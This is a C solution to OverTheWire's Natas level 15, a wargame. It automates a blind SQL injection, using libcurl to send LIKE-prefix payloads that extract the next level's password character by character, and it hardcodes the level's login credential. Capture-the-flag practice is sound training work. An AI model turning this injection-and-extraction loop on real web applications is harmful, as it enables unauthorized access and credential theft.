solution to natas overthewire, level #15 - ninja style

// solution to level 15 of http://www.overthewire.org/wargames/natas/
// by by petter wahlman, https://twitter.com/badeip

// gcc level15.c -lcurl -O2 && ./a.out

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <curl/curl.h>

struct mem_struct {
    char *memory;
    size_t size;
};

static unsigned int password_maxlen = 1024; // should suffice for a few light years
static CURL *curl;

static int incremental_force(const char *charset, char *password, int (*callback)(const char *))
{
    const size_t password_len = strlen(password);
    int i;

    for (i = 0; i < strlen(charset); i++) {
        snprintf(password + password_len, password_maxlen - password_len, "%c", charset[i]);
        if (!callback(password))
            incremental_force(charset, password, callback);
        password[password_len] = '\0';
    }

    return 0;
}

static inline int callback(const char *str)
{
    static unsigned long long attempts;
    const char spin[] = "|/-\\";
    struct mem_struct chunk;
    char *url;
    char *sql;

    asprintf(&sql, "natas16%%22%%20AND%%20binary%%20password%%20LIKE%%20%%27%s%%25%%27%%3b%%23", str);
    asprintf(&url, "http://natas15.natas.labs.overthewire.org/?debug=1&username=%s", sql);

    chunk.memory = malloc(1);
    chunk.size = 0;

    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&chunk);
    curl_easy_perform(curl);

    int match = 0;
    if (chunk.size && strcasestr(chunk.memory, "this user exists"))
        match = 1;

    printf("\r[%c] password: %s", spin[attempts++ % 4], match ? str : "");
    fflush(stdout);

    free(chunk.memory);
    free(sql);
    free(url);

    return !match;
}

static size_t curl_wmem(void *contents, size_t size, size_t nmemb, void *userp)
{
    size_t realsize = size * nmemb;
    struct mem_struct *mem = (struct mem_struct *)userp;

    mem->memory = realloc(mem->memory, mem->size + realsize + 1);
    if (mem->memory == NULL) {
        printf("not enough memory (realloc returned NULL)\n");
        exit(EXIT_FAILURE);
    }

    memcpy(&(mem->memory[mem->size]), contents, realsize);
    mem->size += realsize;
    mem->memory[mem->size] = 0;

    return realsize;
}

static void curl_init(void)
{
    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_USERPWD, "natas15:m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV");
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_wmem);
    curl_easy_setopt(curl, CURLOPT_USERAGENT, "libcurl-agent/1.0");
}

static inline void cursor_on(void) { puts("\33[?12l\33[?25h"); }
static inline void cursor_off(void) { puts("\33[?25l"); }

void sighandler(int sig)
{
    cursor_on();
    curl_global_cleanup();
    fflush(stdout);
    signal(sig, SIG_DFL);
    raise(sig);
}

int main(int argc, char **argv)
{
    const char charset[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    char password[34] = { 0 };
    signal(SIGINT, sighandler);

    curl_init();

    cursor_off();
    int ret = incremental_force(charset, password, callback);
    cursor_on();
    printf("\n");

    curl_global_cleanup();

    return ret;
}